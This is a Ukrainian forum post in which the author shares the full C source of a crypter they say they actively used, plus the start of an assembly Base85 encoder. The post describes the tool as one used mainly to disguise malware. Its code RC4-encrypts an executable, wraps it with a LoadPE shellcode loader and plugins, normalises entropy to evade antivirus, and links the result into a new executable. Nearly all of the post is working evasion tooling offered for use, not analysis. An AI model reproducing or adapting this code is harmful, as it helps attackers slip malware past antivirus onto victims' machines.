1

Тема: [Джерельний код] Криптор

Нижче викладений джерельний код криптора, який активно мною використовувався. Єдиний пароль на всі архіви - replace
Трішки довідки:

Криптор (від англ. Cryptor — шифрувальник) — назва ряду програм для криптозахисту виконуваних файлів. Використовуються переважно вірусописцями й хакерами для маскування шкідливого програмного забезпечення.

З укр. вікі знов моя стаття
Особливістю цього криптора є:

  • Підтримка розширень

  • Генерація стабів окреме від криптування

  • Підтримка TLS

  • Використання лінкера для створення виконуваного файла

  • Мутація коду декриптора

  • Нормалізація ентропії файла

  • Невеликий стаб

  • Криптографічні функції виконані у вигляді пікоду для програмної віртуальної машини

Криптор складається з двох частин - власне криптора, який створює кінцевий криптований виконуваний файл зі вказаного початкового файлу і обраного стабу, і генератора стабів. Цей криптор є консольною програмою, яка одержує параметри з командного рядку і вертає власні помилки чи інформаційні повідомлення туди ж.
Наведені нижче стаби вже використовувалися, тому антивірус має на них реагувати. Для запуску початкового файлу, використовується мій LoadPE шеллкод з підтримкою розширень, а софтверна ВМ оця.

Власне криптор

Криптор писаний мовою C (Pelles C, але має без змін компілюватися і у Visual C++) і для парсингу json даних використовується бібліотека parson.

Головний файл криптора - packer.c

▼Одчинити
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <Shlwapi.h>
#include "parson.h"

#define LOADPE_BINARY_FILE "loadpe.bin"
#define LOADPE_PLUGINS_DIRECTORY "plugins"

extern void WINAPI ascii85encode (LPVOID pSrc, LPVOID pDst, DWORD dwSrcLen);
int openPluginFile (char* fPath);

#pragma pack(push, 4)
struct strucShellcodeData {
    DWORD dwOriginalFileSize;
    DWORD dwImageBase;
    DWORD dwShellcodeLen;
    DWORD dwDeepOfStack;
    DWORD pOriginalTLSIndex;
};
#pragma pack(pop)

#pragma pack(push, 1) 
struct _3B1P_PLUGIN_HEADER {
    DWORD   signature;
    WORD    wSize;
    DWORD   pReturn;
    DWORD   pLoadPEData;
    WORD    pEntryPoint;
    DWORD   dwPluginID;
};
#pragma pack(pop)

#define MAX_PLUGIN_NAME_LEN 0x20
#define PLUGINS_LEN 0x80

void** pPluginList;
DWORD  dwPluginListCount = 0;
HANDLE hFind;
WIN32_FIND_DATA FindFileData;
UCHAR  hasIcon = 0;
UCHAR  hasPlugins = 0;
char   szIconPath [MAX_PATH];
char   szPlugins [PLUGINS_LEN] = "";
UINT   dwIconResourceID = 0, dwImageDataResourceID = 0;
DWORD  dwLoadPEChainSize;
LPVOID pLoadPEChain;
DWORD  dwOriginalFileSize;
LPVOID pOriginalFile;
char   pass[0x40];
WORD   wPassLen;
char   sPath[0x400] = "";
char   szStubDirPath[MAX_PATH];
char   szStubSettingsJSONPath[MAX_PATH];
char   szStubObjPath[MAX_PATH];
char   szStubEntryObjPath[MAX_PATH];
char   szTempDir[MAX_PATH];
char   szSessionDirName[0x20];
char   szSessionDir[MAX_PATH];
char   szSessionDataFilePath[MAX_PATH];
char   szExternalResourcePath[MAX_PATH];
UCHAR  alphabet[85];
struct strucShellcodeData shellcodeData;
UINT   iCreationTime;
DWORD  dwRawDataSize, dwPackedDataSize;
LPVOID pRawData, pPackedData;
DWORD  dwOffsetLoadPE, dwAllocateMemory;
DWORD  dwDeepOfStack;
DWORD  dwCryptedFileSize;
LPVOID pCryptedFile;
DWORD  dwOverlaySize = 0;
LPVOID pOverlay = NULL;
BYTE   flagPackOverlay = FALSE, flagSaveOverlay = TRUE;
LPBYTE pTLSRawData = NULL;
DWORD  dwTLSRawDataSize = 0;
DWORD  pOriginalTLS;
DWORD  pOriginalTLSIndex = 0;
DWORD  hasExternalResource = 0;

DWORD szHashROR7XOR(char* s) {
    DWORD temp = 0, sumHash=0;
    int szLen = strlen(s);
    for (int i=0; i<=szLen; i++) { 
            temp = (temp >> 7) | (temp << 25);
        sumHash ^= temp;  
        temp = (temp & 0xFFFFFF00) | s[i];
    }
    return (sumHash);
}

VOID fprintfArrHex(FILE* f, LPBYTE arr, DWORD size) {
    for (DWORD i = 0; i<size; i++) {
        if (i) {
            fprintf (f, ", ");
        }
        fprintf (f, "0x%X", arr[i]);
    }
}

DWORD initLoadPE(char *szFileLoadPE, char *szPluginDirectory) {
    char szPlugin[MAX_PATH];
    FILE *fMainShellcode;
    char szPluginDirectoryMask[MAX_PATH];
    if (!(fMainShellcode = fopen(szFileLoadPE, "rb"))) return(FALSE);
    fseek(fMainShellcode, 0, SEEK_END);  
    dwLoadPEChainSize = ftell(fMainShellcode);
    fseek(fMainShellcode, 0, SEEK_SET); 
    pLoadPEChain = malloc(dwLoadPEChainSize);
    fread(pLoadPEChain, dwLoadPEChainSize, 1, fMainShellcode);
    fclose(fMainShellcode);
    strcpy(szPluginDirectoryMask, szPluginDirectory);
    strcat(szPluginDirectoryMask, "\\*.plugin");
    if((hFind = FindFirstFile(szPluginDirectoryMask, &FindFileData)) != INVALID_HANDLE_VALUE) {
        do {
            strcpy(szPlugin, szPluginDirectory);
            strcat(szPlugin, "\\");
            strcat(szPlugin, FindFileData.cFileName);
            openPluginFile(szPlugin);
        } while (FindNextFile(hFind, &FindFileData));
        FindClose(hFind);
    }
    return(TRUE);
}

LPVOID buildFileAttachmentBlock (PCHAR szFileAttach, PCHAR szName) {
    FILE *fAttach;
    DWORD dwNameSize = strlen(szName), dwAttachSize;
    if (!(fAttach = fopen(szFileAttach, "rb"))) return(NULL);
    fseek(fAttach, 0, SEEK_END);  
    dwAttachSize = ftell(fAttach);
    fseek(fAttach, 0, SEEK_SET); 
    LPBYTE pResult = malloc(dwAttachSize+dwNameSize+0xC);
    *((LPWORD) pResult) = 0xA77A;
    *((LPDWORD) ((LPBYTE) pResult + 0x2)) = dwAttachSize + dwNameSize + 0xC;
    *((LPBYTE) pResult + 0x6) = dwNameSize + 0x1;
    memcpy((pResult + 0x7), szName, dwNameSize + 0x1);
    *((LPDWORD) (pResult + 0x8 + dwNameSize)) = dwAttachSize;
    fread((pResult + 0x8 + dwNameSize), dwAttachSize, 1, fAttach);
    fclose(fAttach);    
    return((LPVOID) pResult);
}

LPVOID patchMemSpot32B(LPVOID pMem, DWORD dwLen, DWORD dwSpot, LPVOID pMemR, DWORD dwMemRSize) {
     LPVOID pResult = NULL;
     __asm {
        pusha
        mov     edi, DWord Ptr [pMem]
        mov     esi, DWord Ptr [dwLen]
        lea     esi, [edi+esi-0x4]
        mov     eax, DWord Ptr [dwSpot]
    up:
        cmp     eax, DWord ptr [edi]
        jz      ok
        cmp     edi, esi
        jz      err
        inc     edi
        jmp     up
    ok:
        mov     DWord Ptr [pResult], edi
    err:
        popa
    }
    if (pResult) memcpy(pResult, pMemR, dwMemRSize);
    return(pResult);
}

int openPluginFile(char* fPath) {
  FILE *fPlugin;
  long bPluginLen;
  struct _3B1P_PLUGIN_HEADER zvir;
  if (!(fPlugin = fopen(fPath, "rb"))) {
    return(FALSE);
  }
  fseek(fPlugin, 0, SEEK_END);  
  bPluginLen = ftell(fPlugin);
  fseek(fPlugin, 0, SEEK_SET);  
  if (bPluginLen < sizeof(zvir)) {
    fclose(fPlugin);
    return(FALSE);
  }
  char *binaryContent;
  binaryContent = (char *)malloc(bPluginLen);
  if (!binaryContent) {
    fclose(fPlugin);
    return(FALSE);
  }
  fread(binaryContent, bPluginLen, 1, fPlugin);
  char binSign[4];
  memcpy(binSign, binaryContent, 4);
  if (strncmp(binSign, "3B1P", 0x4) != 0) {
    fclose(fPlugin);
    free(binaryContent);
    return(FALSE);
  }
  memcpy(&zvir, binaryContent, sizeof(zvir) );
  if ((bPluginLen <= zvir.wSize+2) || (zvir.wSize == 0)) {
    fclose(fPlugin);
    free(binaryContent);
    return(FALSE);
  }
  char *binPluginName = (char*)calloc(1, MAX_PLUGIN_NAME_LEN);
  strncpy(binPluginName, binaryContent+zvir.wSize, MAX_PLUGIN_NAME_LEN);
  DWORD hashPluginName = szHashROR7XOR(binPluginName);
  free(binPluginName);
  if (hashPluginName != zvir.dwPluginID) {
    fclose(fPlugin);
    free(binaryContent);
    return(FALSE);
  }
  dwPluginListCount++;
  pPluginList = realloc(pPluginList, dwPluginListCount*sizeof(void *));
  pPluginList[dwPluginListCount-1] = binaryContent;
  return (TRUE);
}

int buildLoadPEChain (char* szPlugins) {
    struct _3B1P_PLUGIN_HEADER *zvir;
    char *pluginName;
    DWORD boolTLS = FALSE;
    pluginName = strtok (szPlugins, ",");
    while (!boolTLS) {
        if (!pluginName)  {
            boolTLS = TRUE;
            if (pOriginalTLS) {
                pluginName = "STATICTLS";
            } else continue;
        }
        int iBreakFlag = FALSE;
        printf (" [*] USE %s PLUGIN\n", pluginName);
        for (DWORD m = 0; m < dwPluginListCount; m++) {
            zvir = (struct _3B1P_PLUGIN_HEADER *) pPluginList[m];
            if ((zvir -> dwPluginID) == szHashROR7XOR(pluginName)) {
                pLoadPEChain = realloc(pLoadPEChain, dwLoadPEChainSize+zvir->wSize);
                memcpy((LPBYTE)pLoadPEChain+dwLoadPEChainSize, pPluginList[m], zvir->wSize);
                dwLoadPEChainSize+=zvir->wSize;
                iBreakFlag = TRUE;
                break;
            }
        }
        if (!iBreakFlag) return (FALSE);
        pluginName = strtok(NULL, ",");
    }
    pLoadPEChain = realloc(pLoadPEChain, dwLoadPEChainSize+0x4);
    memcpy((LPBYTE)pLoadPEChain+dwLoadPEChainSize, "4APA", 0x4);
    dwLoadPEChainSize+=0x4;
    shellcodeData.dwShellcodeLen = dwLoadPEChainSize;
#ifdef DEBUG
    FILE* fLoadPE = fopen("loadpe.bin", "wb+");
    fwrite(pLoadPEChain, dwLoadPEChainSize, 1, fLoadPE);
    fclose(fLoadPE);
#endif
    return (TRUE);
}

int parseOptionalParam (char *szparam) {
  char *token;
  char ** res  = NULL;
  token = strtok( szparam, "|");
  int n_spaces = 0, i, n;
  while (token) {
    res = realloc (res, sizeof (char*)*++n_spaces);
    if (res == NULL) exit (-1);
    res[n_spaces-1] = token;
    token = strtok (NULL, "|");
  };
  for (i = 0; i < (n_spaces); ++i) {
    char ** command = NULL;
    int command_params = 0;
    printf("res[%d]=%s\n", i, res[i]);
    token = strtok(res[i], "?");
    if (token) {
      while (token) {
        command = realloc (command, sizeof (char*)*++command_params);
        command[command_params-1] = token;
        token = strtok(NULL, "?");
      }
    } else {
      command[0] = token;
      command_params++;
    }
    if (!strncmp(command[0], "ICON", 4)) {
      if (command_params != 2) {
        free (command);
        free (res);
        return(FALSE);
      }
      hasIcon = 1;
      strncpy(szIconPath, command[1], 0x200);
    } else if (!strcmp(command[0], "PLUGINS")) {
      if (command_params != 2) {
        free (command);
        free (res);
        return(FALSE);
      }
      hasPlugins = 1;
      strncpy(szPlugins, command[1], PLUGINS_LEN);
    } else if (!strcmp(command[0], "OVERLAY")) {
      if (command_params < 2) {
        free(command);
        free(res);
        return(FALSE);
      }
      for (int z=1; z<command_params-1; z++) {
        if (!strcmp(command[z], "PACK")) {
          flagPackOverlay = TRUE;
        } else if (!strcmp(command[z], "NOTPACK")) {
          flagPackOverlay = FALSE;
        } else if (!strcmp(command[z], "REMOVE")) {
          flagSaveOverlay = FALSE;
        } else if (!strcmp(command[z], "SAVE")) {
          flagSaveOverlay = TRUE;
        } else {
          free(command);
          free(res);
          return(FALSE);
        }
      }
    } else if (!strcmp(command[0], "RESFILE")) {
      if (command_params != 2) {
        free(command);
        free(res);
        return(FALSE);
      }
      hasExternalResource = TRUE;
      strncpy(szExternalResourcePath, command[1], 0x200);
    } else {
      free (command);
      free (res);
      return(FALSE);    
    };
    for (n = 0; n < command_params; ++n) {
      printf("r[%d]=%s\n", n, command[n]);
    } 
  };
  free (res);
  return(TRUE);
}

int readStubConfig (char *szpathstub) {
  JSON_Array *array;
  JSON_Value *rootVal = json_parse_file(szpathstub);
  if (json_value_get_type(rootVal) != JSONObject) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  JSON_Object *rootObj = json_value_get_object (rootVal);
  JSON_Value *passVal = json_object_dotget_value (rootObj, "pass.val");
  if (json_value_get_type(passVal) != JSONString) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  const char *szPass = json_object_dotget_string (rootObj, "pass.val");
  strncpy(pass, szPass, 0x40);
  wPassLen = strlen(szPass);
  JSON_Value *iconResNumVal = json_object_dotget_value (rootObj, "icon.resnum");
  if (json_value_get_type(iconResNumVal) != JSONNumber) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  dwIconResourceID = (DWORD) json_object_dotget_number (rootObj, "icon.resnum");
  JSON_Value *valOffsetLoadPE = json_object_dotget_value (rootObj, "loadpe.offset");
  if (json_value_get_type(valOffsetLoadPE) != JSONNumber) {
    json_value_free(rootVal);  
    return(FALSE);
  }
  dwOffsetLoadPE = (DWORD) json_object_dotget_number (rootObj, "loadpe.offset");
  JSON_Value *valImageDataResourceIDVal = json_object_dotget_value (rootObj, "datapeimage.resnum");
  if (json_value_get_type(valImageDataResourceIDVal) != JSONNumber) {
    json_value_free(rootVal);
    return(FALSE);
  }
  dwImageDataResourceID = json_object_dotget_number (rootObj, "datapeimage.resnum");
  array = json_object_dotget_array(rootObj, "alphabet.val");
  if (json_array_get_count(array)!=85) {
    json_value_free(rootVal);
    return(FALSE);
  }
  JSON_Value *valDeepOfStub = json_object_dotget_value (rootObj, "stackdepth");
  if (json_value_get_type(valDeepOfStub) != JSONNumber) {
    json_value_free(rootVal);
    return(FALSE);
  }
  dwDeepOfStack = json_object_dotget_number (rootObj, "stackdepth")+0x88+0x54;
  unsigned int z = 0;
  for(int i=0; i< 85; i++) {
    z = json_array_get_number(array, i);
    if (z > 255) {
      json_value_free(rootVal);
      return(FALSE);
    }
    alphabet[i]=z;
  }
  json_value_free(rootVal);  
  return TRUE;
}

LPBYTE RC4(LPBYTE lpBuf, LPBYTE lpKey, DWORD dwBufLen, DWORD dwKeyLen) {
    INT a, b = 0;
    BYTE s[256];
    BYTE swap;
    DWORD dwCount;
    for(a = 0; a < 256; a++) {
        s[a] = a;
    }
    for(a = 0; a < 256; a++) {
        b = (b + s[a] + lpKey[a % dwKeyLen]) % 256;
        swap = s[a];
        s[a] = s[b];
        s[b] = swap;
    }
    for(dwCount = 0; dwCount < dwBufLen; dwCount++) {
        a = (a + 1) % 256;
        b = (b + s[a]) % 256;
        swap = s[a];
        s[a] = s[b];
        s[b] = swap;
        lpBuf[dwCount] ^= s[(s[a] + s[b]) % 256];
    }
    return lpBuf;
}

UINT getSizeOfImage (PVOID pImgPE) {
  IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
  IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
  return (Image_Optional_Header->SizeOfImage);
}

UINT getImageBase (PVOID pImgPE) {
  IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
  IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
  return (Image_Optional_Header->ImageBase);
}

UINT getSizeOfStackCommit (PVOID pImgPE) {
  IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
  IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
  return (Image_Optional_Header->SizeOfStackCommit);
}

UINT getSizeOfStackReserve (PVOID pImgPE) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    return (Image_Optional_Header->SizeOfStackReserve);
}

void setSizeOfStackCommit (PVOID pImgPE, DWORD dwStackCommit) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    Image_Optional_Header->SizeOfStackCommit = dwStackCommit;
}

/*
DWORD OffsetToRVA(PVOID pImgPE, DWORD offset) {
    DWORD scount = 3;
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *) pImgPE;
    IMAGE_SECTION_HEADER *is_hdr = (IMAGE_SECTION_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    for(unsigned i = 0; i < scount;i++)    // Find section holding the Offset
        if((offset >= is_hdr[i].PointerToRawData) && (offset <= is_hdr[i].PointerToRawData +is_hdr[i].SizeOfRawData)) {
            return (offset+is_hdr[i].VirtualAddress-is_hdr[i].PointerToRawData);}
    return 0;
}
*/

 /*----------------------------------------------------------*
 *
 * RVAToOffset: Convert value from RVA to file offset.
 *----------------------------------------------------------*/
 DWORD RVAToOffset(PVOID pImgPE, DWORD dwRVA) {
        PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32) ((BYTE*)pImgPE+((IMAGE_DOS_HEADER *) pImgPE)->e_lfanew);
     int i;
     WORD wSections;
     PIMAGE_SECTION_HEADER pSectionHdr;
 
     /* Map first section */
     pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
     wSections = pNtHdr->FileHeader.NumberOfSections;
 
     for (i = 0; i < wSections; i++)
     {
         if (pSectionHdr->VirtualAddress <= dwRVA)
             if ((pSectionHdr->VirtualAddress + pSectionHdr->Misc.VirtualSize) > dwRVA) {
                 dwRVA -= pSectionHdr->VirtualAddress;
                  dwRVA += pSectionHdr->PointerToRawData;
                  return (dwRVA);
             }
          pSectionHdr++;
     }
     return (-1);
 }
 
 /*----------------------------------------------------------*
 *
 * OffsetToRVA: Convert value from file offset to RVA.
 *----------------------------------------------------------*/
 DWORD OffsetToRVA(PVOID pImgPE, DWORD dwOffset) {
        PIMAGE_NT_HEADERS32 pNtHdr = (PIMAGE_NT_HEADERS32) ((BYTE*)pImgPE+((IMAGE_DOS_HEADER *) pImgPE)->e_lfanew);
     int i;
     WORD wSections;
     PIMAGE_SECTION_HEADER pSectionHdr;
      /* Map first section */
     pSectionHdr = IMAGE_FIRST_SECTION(pNtHdr);
     wSections = pNtHdr->FileHeader.NumberOfSections;
      for (i = 0; i < wSections; i++)    {
         if (pSectionHdr->PointerToRawData <= dwOffset)
             if ((pSectionHdr->PointerToRawData + pSectionHdr->SizeOfRawData) > dwOffset) {
                 dwOffset -= pSectionHdr->PointerToRawData;
                 dwOffset += pSectionHdr->VirtualAddress;
                 return (dwOffset);
             }
         pSectionHdr++;
     }
      return (-1);
}

DWORD hasTLS (PVOID pImgPE) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    return((DWORD)Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
}

DWORD getTrueRawSize(PVOID pImgPE) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *) pImgPE;
    DWORD scount = ((IMAGE_NT_HEADERS *)((BYTE*)pImgPE+Image_Dos_Header->e_lfanew))->FileHeader.NumberOfSections;
    IMAGE_SECTION_HEADER *is_hdr = (IMAGE_SECTION_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew + sizeof(IMAGE_NT_HEADERS));
    DWORD dwTrueRawSize = is_hdr[scount-1].PointerToRawData + is_hdr[scount-1].SizeOfRawData;
    return(dwTrueRawSize);
}

VOID patchTLS (PVOID pImgPE, DWORD dwRVATLS, DWORD dwSizeTLS) {
    IMAGE_DOS_HEADER * Image_Dos_Header = (IMAGE_DOS_HEADER *)pImgPE;
    IMAGE_OPTIONAL_HEADER * Image_Optional_Header = (IMAGE_OPTIONAL_HEADER *) ((BYTE*)pImgPE+Image_Dos_Header->e_lfanew+24);
    Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress = dwRVATLS;
    Image_Optional_Header->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size = dwSizeTLS;
}

/*** Command line options:
   * [0] PACKER.EXE
   * [1] INPUT PE EXE FILE
   * [2] OUTPUT PE EXE FILE
   * [3] STUB DIRECTORY
   * [4] [OPTIONAL PARAMETERS]
   ***/

int main(int argc, char *argv[]) {
    FILE *finp, *fPackedData, *frc;
    DWORD dwSizeOfImage, dwSizeOfStackCommit, dwSizeOfStackReserve, dwImageBase;
    if (argc == 1) {
        puts ("PACKER input_executable_file output_executable_file stub_directory [optional_config_parameter]\nRTFM!!!\n");
        return(0);
    } else if (argc > 5 || argc < 4) {
        puts("ERROR: Invalid parameter number");
        return(1);
    } else if ((argc == 5) && (!parseOptionalParam(argv[4]))) {
        puts("ERROR: Invalid optional parameter");
        return(1);
    };
    if (!PathIsDirectory(argv[3])) {
        puts("ERROR: Invalid stub directory");
        return(1);       
    }
    strncpy(szStubDirPath, argv[3], MAX_PATH);
    strncpy(szStubSettingsJSONPath, szStubDirPath, MAX_PATH);
    PathAppend(szStubSettingsJSONPath, "settings.json");
    initLoadPE(LOADPE_BINARY_FILE, LOADPE_PLUGINS_DIRECTORY);
    strncpy(szStubObjPath, szStubDirPath, MAX_PATH);
    PathAppend(szStubObjPath, "stub.obj");
    strncpy(szStubEntryObjPath, szStubDirPath, MAX_PATH);
    PathAppend(szStubEntryObjPath, "entry.obj");
    GetTempPath(MAX_PATH, szTempDir);
    strncpy(szSessionDir, szTempDir, MAX_PATH);
    iCreationTime = (time(NULL)^clock());
    sprintf (szSessionDirName, "%X", iCreationTime);
    PathAppend (szSessionDir, szSessionDirName);    
    CreateDirectory (szSessionDir, NULL);
    if (!readStubConfig(szStubSettingsJSONPath)) {
        puts("ERROR: Invalid stub configuration file");
        return(1);
    };
    if (!(finp = fopen(argv[1], "rb"))) {
        puts(argv[1]);
        puts("ERROR: CAN'T OPEN SOURCE PE EXE");
        return(0); 
    };
    fseek(finp, 0, SEEK_END);
    dwOriginalFileSize = ftell(finp);
    fseek(finp, 0, SEEK_SET);
    pOriginalFile = malloc(dwOriginalFileSize);
    fread(pOriginalFile, 1, dwOriginalFileSize, finp);
    fclose(finp);
    dwSizeOfImage = getSizeOfImage(pOriginalFile);
    dwSizeOfStackCommit = getSizeOfStackCommit(pOriginalFile);
    dwSizeOfStackReserve = getSizeOfStackReserve(pOriginalFile);
    dwImageBase = getImageBase(pOriginalFile);
    pOriginalTLS = hasTLS(pOriginalFile);
    DWORD dwTrueRawSize = getTrueRawSize(pOriginalFile);
    if (dwTrueRawSize < dwOriginalFileSize) {
        dwOverlaySize = dwOriginalFileSize - dwTrueRawSize;
        printf(" [+] Overlay data detected. It`s length is %d\n", dwOverlaySize);
        pOverlay = malloc(dwOverlaySize);
        memcpy(pOverlay, (LPBYTE)pOriginalFile + dwOriginalFileSize - dwOverlaySize, dwOverlaySize);
        if (!flagPackOverlay) {
            dwOriginalFileSize -= dwOverlaySize;
            pOriginalFile = realloc(pOriginalFile, dwOriginalFileSize);
        } 
        if (!flagSaveOverlay) {
            free(pOverlay);
            pOverlay = NULL;
            dwOverlaySize = 0;
        }
    }
    SetCurrentDirectory(szSessionDir);
    if (!(fPackedData = fopen("data.bin", "wb"))) {
        puts("ERROR: CAN'T CREATE TEMP FILE");
        fclose(finp);
        return(0);
    };
/*    dwSizeOfImage = getSizeOfImage(pOriginalFile);
    dwSizeOfStackCommit = getSizeOfStackCommit(pOriginalFile);
    dwSizeOfStackReserve = getSizeOfStackReserve(pOriginalFile);
    dwImageBase = getImageBase(pOriginalFile);
*/
    shellcodeData.dwImageBase = dwImageBase;
    shellcodeData.dwOriginalFileSize = dwOriginalFileSize;
    shellcodeData.dwDeepOfStack = dwDeepOfStack;
    shellcodeData.pOriginalTLSIndex = 0;
    buildLoadPEChain (szPlugins);
    dwRawDataSize = (dwOriginalFileSize+dwLoadPEChainSize+0x3) & 0xFFFFFFC;
    dwPackedDataSize = 5 * dwRawDataSize / 4;
    dwAllocateMemory = dwOffsetLoadPE + dwRawDataSize;
    pOriginalTLS = hasTLS(pOriginalFile);
    if (pOriginalTLS) {
       LPBYTE pTLS = (LPBYTE) pOriginalFile+RVAToOffset(pOriginalFile, pOriginalTLS);
       dwTLSRawDataSize = ((PIMAGE_TLS_DIRECTORY) pTLS)->EndAddressOfRawData - ((PIMAGE_TLS_DIRECTORY)pTLS)->StartAddressOfRawData;
       shellcodeData.pOriginalTLSIndex = pOriginalTLSIndex = ((PIMAGE_TLS_DIRECTORY) pTLS)->AddressOfIndex;
       pTLSRawData = malloc (dwTLSRawDataSize);
       DWORD dwTLSRawDataRVA = ((PIMAGE_TLS_DIRECTORY) pTLS)->StartAddressOfRawData-dwImageBase;
       DWORD dwOffsetTLSRawData = RVAToOffset(pOriginalFile, dwTLSRawDataRVA);
       memcpy(pTLSRawData, (LPBYTE)pOriginalFile + dwOffsetTLSRawData, dwTLSRawDataSize);
       printf(" [+] has static TLS: 0x%X\n [+] size of raw data is 0x%X\n", pOriginalTLS, dwTLSRawDataSize);
    }
    patchMemSpot32B(pLoadPEChain, dwLoadPEChainSize, 0xBEA51F3D, &shellcodeData, sizeof(shellcodeData));
    pRawData = malloc(dwRawDataSize);
    memcpy(pRawData, pLoadPEChain, dwLoadPEChainSize);
    memcpy((LPBYTE)pRawData+dwLoadPEChainSize, pOriginalFile, dwOriginalFileSize);
#ifdef DEBUG
    FILE *frawdata = fopen("rawdata.dat", "wb");
    fwrite(pRawData, 1, dwRawDataSize, frawdata);
    fclose(frawdata);
#endif
    RC4((LPBYTE)pRawData, (LPBYTE)pass, dwRawDataSize, wPassLen);
#ifdef DEBUG
    FILE *frc4 = fopen("data_debug_rc4.dat", "wb");
    fwrite(pRawData, 1, dwRawDataSize, frc4);
    fclose(frc4);
#endif
    pPackedData = malloc (dwPackedDataSize);
    ascii85encode (pRawData, pPackedData, dwRawDataSize);
    fwrite (pPackedData, 1, dwPackedDataSize, fPackedData);
    fclose (fPackedData);
    int iSpace = dwSizeOfImage - (0x2000+dwPackedDataSize);
    if (iSpace > 0) {
        FILE *fbss = fopen("space.asm", "wb");
        fprintf(fbss, "format MS COFF\n\nsection '.bss' readable writeable\n\n  rb %d\n", iSpace);
        fclose(fbss);
        system("C:\\DEV\\FASM\\FASM.EXE space.asm");
    }
    fPackedData = fopen("data.asm", "wb");
    fprintf(fPackedData, "format MS COFF\n");
    if (iSpace > 0) {
        fprintf(fPackedData, "\nsection '.bss' readable writeable\npublic buffer\nbuffer rb %d\n", iSpace);
    }
    fprintf(fPackedData, "\nsection '.data' data readable writeable\n public crdata\ncrdata:\n  file 'data.bin'\n" );
    fclose(fPackedData);
    frc = fopen("resource.rc", "wb");
    if (hasIcon) {
        CopyFile((const char*)szIconPath, "icon.ico", FALSE);
        fprintf(frc, "0x86 ICON \"ICON.ICO\"\n");
    }
    fclose(frc);
    system("PORC.EXE resource.rc");
    system("C:\\DEV\\FASM\\FASM.EXE data.asm");
    char linkparam[MAX_PATH];
    sprintf(linkparam, "POLINK.EXE resource.res user32.lib kernel32.lib gdi32.lib data.obj %s %s ", szStubEntryObjPath, szStubObjPath);
    if (hasExternalResource) strcat(linkparam, szExternalResourcePath);
    if (iSpace>0) strcat(linkparam, " space.obj ");
    sprintf(linkparam, "%s /SUBSYSTEM:WINDOWS /ALIGN:4096 /OUT:crypted.exe /BASE:0x%X /MERGE:.rdata=.text", linkparam, dwImageBase);
    puts(linkparam);
    system(linkparam);
    CopyFile("crypted.exe", argv[2], FALSE);
    FILE* fcrypted = fopen(argv[2], "rb");
    fseek(fcrypted, 0, SEEK_END);
    dwCryptedFileSize = ftell(fcrypted);
    fseek(fcrypted, 0, SEEK_SET);
    pCryptedFile = malloc(dwCryptedFileSize);
    fread(pCryptedFile, dwCryptedFileSize, 1, fcrypted);
    fclose(fcrypted);
    patchMemSpot32B(pCryptedFile, 0x2C00, 0xACADBE71, &dwAllocateMemory, 0x4);
    patchMemSpot32B(pCryptedFile, 0x2C00, 0xAB7E6CA9, &dwPackedDataSize, 0x4);
    setSizeOfStackCommit(pCryptedFile, dwSizeOfStackCommit);
    fcrypted = fopen(argv[2], "wb");
    fwrite(pCryptedFile, dwCryptedFileSize, 1, fcrypted);
    if (dwOverlaySize) {
        fwrite(pOverlay, dwOverlaySize, 1, fcrypted);
    }
    fclose(fcrypted);
    return(0);
};

Файл base85enc.inc - реалізація мовою асемблера кодування даних (трохи спрощеним) алгоритмом BASE85знов моя стаття. Воно потрібне для нормаліізації статистики вихідного файлу (ентропії секції даних), на яку погано реагують антивіруси (особливо avira).

▼Одчинити
format MS COFF

include '%FASMINC%\win32a.inc'

section '.text' code readable executable

public ascii85_encode as '_ascii85encode@12'
extrn '_alphabet' as alphabet

proc ascii85_encode_dword pMem:DWord, dwVal:DWord
    pusha
    mov    eax, [dwVal]
    mov    edi, 085d
    xor    ecx, ecx
    mov    esi, [pMem]
    lea    ebx, [alphabet]
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
    xor    edx, edx
    div    edi
    movzx  ecx, Byte [ebx+edx]
    mov    Byte [esi], cl
    inc    esi
